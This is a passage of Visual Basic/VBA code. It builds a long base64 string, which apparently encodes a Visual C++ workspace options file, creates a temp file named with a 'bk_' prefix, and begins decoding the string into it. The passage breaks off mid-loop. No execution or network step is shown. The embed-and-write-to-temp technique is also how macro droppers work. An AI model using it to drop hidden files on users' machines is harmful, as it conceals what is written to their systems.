filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAMAAAAAAAAAGwAAAAUAAUAJQ29udHJvbC1DAAAAAAEAAAAIAAFADUNvbnRyb2wtQnJlYWsAAAAAAQAAAAIAAIAVRGF0YXR5cGUgTWlzYWxpZ25tZW50AQAAAAEAAAAFAADAEEFjY2VzcyBWaW9sYXRpb24BAAAAAQAAAAYAAMANSW4gUGFnZSBFcnJvcgEAAAABAAAAHQAAwBNJbGxlZ2FsIEluc3RydWN0aW9uAQAAAAEAAACMAADAFUFycmF5IEJvdW5kcyBFeGNlZWRlZAEAAAABAAAAjQAAwBZGbG9hdCBEZW5vcm1hbCBPcGVyYW5kAQAAAAEAAACOAADA"
filestring = filestring + "FEZsb2F0IERpdmlkZSBieSBaZXJvAQAAAAEAAACPAADAFEZsb2F0IEluZXhhY3QgUmVzdWx0AQAAAAEAAACQAADAF0Zsb2F0IEludmFsaWQgT3BlcmF0aW9uAQAAAAEAAACRAADADkZsb2F0IE92ZXJmbG93AQAAAAEAAACSAADAEUZsb2F0IFN0YWNrIENoZWNrAQAAAAEAAACTAADAD0Zsb2F0IFVuZGVyZmxvdwEAAAABAAAAFwAAwAlObyBNZW1vcnkBAAAAAQAAACUAAMAYTm9uY29udGludWFibGUgRXhjZXB0aW9uAQAAAAEAAAAmAADAE0ludmFsaWQgRGlzcG9zaXRpb24BAAAAAQAAAJQAAMAWSW50ZWdlciBEaXZpZGUgYnkgWmVybwEAAAABAAAAlQAAwBBJbnRlZ2VyIE92ZXJmbG93AQAAAAEAAACWAADAFlByaXZpbGVnZWQgSW5zdHJ1Y3Rpb24BAAAAAQAAAP0AAMAOU3RhY2sg"
filestring = filestring + "T3ZlcmZsb3cBAAAAAQAAADUBAMANRExMIE5vdCBGb3VuZAEAAAABAAAAQgEAwBlETEwgSW5pdGlhbGl6YXRpb24gRmFpbGVkAQAAAAEAAAB+AG3AEE1vZHVsZSBOb3QgRm91bmQBAAAAAQAAAH8AbcATUHJvY2VkdXJlIE5vdCBGb3VuZAEAAAABAAAACAAAwA5JbnZhbGlkIEhhbmRsZQAAAAABAAAAY3Nt4BdNaWNyb3NvZnQgQysrIEV4Y2VwdGlvbgEAAAABAAAAAAAAAAQAAAAGV2F0Y2gxAAAGV2F0Y2gyAAAGV2F0Y2gzAAAGV2F0Y2g0AAD1AAAACAEBAAAAq8bBxLsWAAAAAwAAAAEA//8DdAYAAAAVAAAAIQAAADMAAABkAAAAZAAAAAAAAAADgAqx4NLrzqLQzcz1LwMAAAMAAQAEAP//AXX/////TQAAAI0AAABrAAAAZAAAAB4AAAAAAAAAAAAAAFgCAAA3AAAA7QIAAFUAAAABAAAA"
filestring = filestring + "AgAAgFgCAACVAAAAHgAAAAOAA0FUTC4AAAADAAEABwD//wF1zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABNfK1LQuAAAAAwAAAAMA//8Ddc3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAS21LuwHwAAAAMAAgADAP//BHXNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AEv9i8/hcAAAAEAAAAAwD//wV1MAIAAJYAAAB4AgAARQEAAGQAAABkAAAAAAAAAAOABM280M4VAQAABAAEAAMA//8GdTACAABkAAAAegIAAEoBAABWAAAAZAAAAAAAAAAEAAAA/v//f//////zAAAAVgAAAAOABNHVyasXAQAABAAEAAMA//8HdTACAABWAQAAdwIAAMsBAABTAAAAZAAAAAAAAAAEAAAA/v//f8QAAACCAAAAUwAAAAOACM7Esb65pL7fFwQAAAQAAAADAP//CHWSAQAAZAAAACgC"
filestring = filestring + "AADIAAAAZAAAAGQAAAAAAAAAA4AEseC8rS4AAAADAAAAAgD///91zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABLX3ytQ3AAAAAwAAABkA//8AdgYAAAB/AAAA6QAAALcAAABkAAAAZAAAAAAAAAADgATkr8DAPgAAAAMAAAACAP//AXbNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AFUXVlcnkfAAAAAwAAAB0A//8Ad83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgBBEYXRhYmFzZSBEaWFncmFtHwAAAAMAAAAdAP//AXfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AFVGFibGUfAAAAAwAAAB0A//8Cd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAbK/b7dv+I+AAAAAwAAAB0A//8Dd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgARWaWV3"
filestring = filestring + "HwAAAAMAAAAdAP//BHcgQVRMIEFwcFdpemFyZCB0ZAAAAGQAAAAAAAAAA4AOU291cmNlIENvbnRyb2weAAAAAwAAAAUAAQAQd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAZSZWNvcmQfAAAAAwAAABgA//9gd83Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAbP8rW8zPUzAwAAAwABAAwA//+Id9oAAAB+AAAA5AEAALIAAABkAAAAHgAAAAAAAAAAAAAA/////zcAAABYAgAAVQAAAAEAAAACAACA/////1kCAAAeAAAACLvpAP//AQAIAENEb2NrV25kAQAbAACA/f//fwMA///+//9/AAAAAP//AAAAABkAAQAAgAAAAAAAAAAAAAA3AAIAAIAAAAAAAAAAAAAAVQD///9/AAAAAAAAAAAAANi76QAjgAIAAAAAgPz//38CAP///f//f/////8AAAAAAAB5AP7//3///wAAAAAA"
filestring = filestring + "AAAA4gD///9/AAAAAAAAAAAAAJC86QAjgAMAAAAAgP3//38AAP//////fwAAAAAAAAAAAAAYvekAI4AEAAAAAID9//9/AAD//////38AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "hwMBAgAQAAF4AQMAQA/qAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEQAbwBjAHUAbQBlAG4AdABzAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUAAIA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASgAAAAAUAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "BgABAAAA6gAAABsAAAAFAAFACUNvbnRyb2wtQwAAAAABAAAACAABQA1Db250cm9sLUJyZWFrAAAAAAEAAAACAACAFURhdGF0eXBlIE1pc2FsaWdubWVudAEAAAABAAAABQAAwBBBY2Nlc3MgVmlvbGF0aW9uAQAAAAEAAAAGAADADUluIFBhZ2UgRXJyb3IBAAAAAQAAAB0AAMATSWxsZWdhbCBJbnN0cnVjdGlvbgEAAAABAAAAjAAAwBVBcnJheSBCb3VuZHMgRXhjZWVkZWQBAAAAAQAAAI0AAMAWRmxvYXQgRGVub3JtYWwgT3BlcmFuZAEAAAABAAAAjgAAwBRGbG9hdCBEaXZpZGUgYnkgWmVybwEAAAABAAAAjwAAwBRGbG9hdCBJbmV4YWN0IFJlc3VsdAEAAAABAAAAkAAAwBdGbG9hdCBJbnZhbGlkIE9wZXJhdGlvbgEAAAABAAAAkQAAwA5GbG9hdCBPdmVyZmxvdwEAAAABAAAAkgAA"
filestring = filestring + "wBFGbG9hdCBTdGFjayBDaGVjawEAAAABAAAAkwAAwA9GbG9hdCBVbmRlcmZsb3cBAAAAAQAAABcAAMAJTm8gTWVtb3J5AQAAAAEAAAAlAADAGE5vbmNvbnRpbnVhYmxlIEV4Y2VwdGlvbgEAAAABAAAAJgAAwBNJbnZhbGlkIERpc3Bvc2l0aW9uAQAAAAEAAACUAADAFkludGVnZXIgRGl2aWRlIGJ5IFplcm8BAAAAAQAAAJUAAMAQSW50ZWdlciBPdmVyZmxvdwEAAAABAAAAlgAAwBZQcml2aWxlZ2VkIEluc3RydWN0aW9uAQAAAAEAAAD9AADADlN0YWNrIE92ZXJmbG93AQAAAAEAAAA1AQDADURMTCBOb3QgRm91bmQBAAAAAQAAAEIBAMAZRExMIEluaXRpYWxpemF0aW9uIEZhaWxlZAEAAAABAAAAfgBtwBBNb2R1bGUgTm90IEZvdW5kAQAAAAEAAAB/AG3AE1Byb2NlZHVyZSBOb3Qg"
filestring = filestring + "Rm91bmQBAAAAAQAAAAgAAMAOSW52YWxpZCBIYW5kbGUAAAAAAQAAAGNzbeAXTWljcm9zb2Z0IEMrKyBFeGNlcHRpb24BAAAAAQAAAAAAAAAEAAAABldhdGNoMQAABldhdGNoMgAABldhdGNoMwAABldhdGNoNAAA9QAAAAgBAQAAAKvGwcS7FgAAAAMAAAABAP//A3QGAAAAFQAAACEAAAAzAAAAZAAAAGQAAAAAAAAAA4AKseDS686i0M3M9S8DAAADAAEABAD//wF1/////00AAACNAAAAawAAAGQAAAAeAAAAAAAAAAAAAABYAgAANwAAAO0CAABVAAAAAQAAAAIAAIBYAgAAlQAAAB4AAAADgANBVEwuAAAAAwABAAcA//8Bdc3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgATXytS0LgAAAAMAAAADAP//A3XNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AEttS7sB8AAAADAAIA"
filestring = filestring + "AwD//wR1zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABL/YvP4XAAAABAAAAAMA//8FdTACAACWAAAAeAIAAEUBAABkAAAAZAAAAAAAAAADgATNvNDOFQEAAAQABAADAP//BnUwAgAAZAAAAHoCAABKAQAAVgAAAGQAAAAAAAAABAAAAP7//3//////8wAAAFYAAAADgATR1cmrFwEAAAQABAADAP//B3UwAgAAVgEAAHcCAADLAQAAUwAAAGQAAAAAAAAABAAAAP7//3/EAAAAggAAAFMAAAADgAjOxLG+uaS+3xcEAAAEAAAAAwD//wh1kgEAAGQAAAAoAgAAyAAAAGQAAABkAAAAAAAAAAOABLHgvK0uAAAAAwAAAAIA////dc3Nzc3Nzc3Nzc3Nzc3Nzc1kAAAAZAAAAAAAAAADgAS198rUNwAAAAMAAAAZAP//AHYGAAAAfwAAAOkAAAC3AAAAZAAAAGQAAAAAAAAAA4AE5K/AwD4AAAAD"
filestring = filestring + "AAAAAgD//wF2zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABVF1ZXJ5HwAAAAMAAAAdAP//AHfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AQRGF0YWJhc2UgRGlhZ3JhbR8AAAADAAAAHQD//wF3zc3Nzc3Nzc3Nzc3Nzc3NzWQAAABkAAAAAAAAAAOABVRhYmxlHwAAAAMAAAAdAP//AnfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AGyv2+3b/iPgAAAAMAAAAdAP//A3fNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AEVmlldx8AAAADAAAAHQD//wR3IEFUTCBBcHBXaXphcmQgdGQAAABkAAAAAAAAAAOADlNvdXJjZSBDb250cm9sHgAAAAMAAAAFAAEAEHfNzc3Nzc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AGUmVjb3JkHwAAAAMAAAAYAP//YHfNzc3N"
filestring = filestring + "zc3Nzc3Nzc3Nzc3NZAAAAGQAAAAAAAAAA4AGz/K1vMz1MwMAAAMAAQAMAP//iHfaAAAAfgAAAOQBAACyAAAAZAAAAB4AAAAAAAAAAAAAAP////83AAAAWAIAAFUAAAABAAAAAgAAgP////9ZAgAAHgAAAAi76QD//wEACABDRG9ja1duZAEAGwAAgP3//38DAP///v//fwAAAAD//wAAAAAZAAEAAIAAAAAAAAAAAAAANwACAACAAAAAAAAAAAAAAFUA////fwAAAAAAAAAAAADYu+kAI4ACAAAAAID8//9/AgD///3//3//////AAAAAAAAeQD+//9///8AAAAAAAAAAOIA////fwAAAAAAAAAAAACQvOkAI4ADAAAAAID9//9/AAD//////38AAAAAAAAAAAAAGL3pACOABAAAAACA/f//fwAA//////9/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIcDAQIAEAABeAEDAEAP6gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
filestring = filestring + "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="
Dim strTempPath As String * 260
Dim strTempFileName As String * 260
Dim ret, hFile, NumberofBytesWritten As Long
Dim W1, W2, W3, W4 As Integer
Dim n As Long
Dim buffer As Byte
ret = GetTempPath(260, strTempPath)
ret = GetTempFileName(Left(strTempPath, ret), "bk_", 0, strTempFileName)
hFile = CreateFile(strTempFileName, &H40000000, 0, 0, 2, 0, 0)
If hFile = -1 Then
Exit Sub
End If
For n = 1 To Len(filestring) Step 4
If Len(Mid(filestring, n, 1)) = 0 Then
W1 = -1
Else
W1 = InStr(base64, Mid(filestring, n, 1)) - 1
End If
If Len(Mid(filestring, n + 1, 1)) = 0 Then
W2 = -1
Else
W2 = InStr(base64, Mid(filestring, n + 1, 1)) - 1
End If
If Len(Mid(filestring, n + 2, 1)) = 0 Then
W3 = -1
Else
W3 = InStr(base64, Mid(filestring, n + 2, 1)) - 1
End If
If Len(Mid(filestring, n + 3, 1)) = 0 Then
W4 = -1
Else
W4 = InStr(base64, Mid(filestring, n + 3, 1)) - 1
End If
